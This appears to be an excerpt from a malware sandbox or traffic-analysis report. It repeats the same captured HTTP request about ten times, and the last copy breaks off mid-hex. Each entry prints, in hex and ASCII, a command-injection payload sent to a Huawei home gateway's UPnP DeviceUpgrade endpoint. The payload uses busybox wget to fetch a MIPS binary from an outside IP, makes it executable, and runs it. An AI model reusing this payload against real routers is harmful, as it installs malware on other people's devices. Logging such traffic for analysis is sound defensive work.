    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 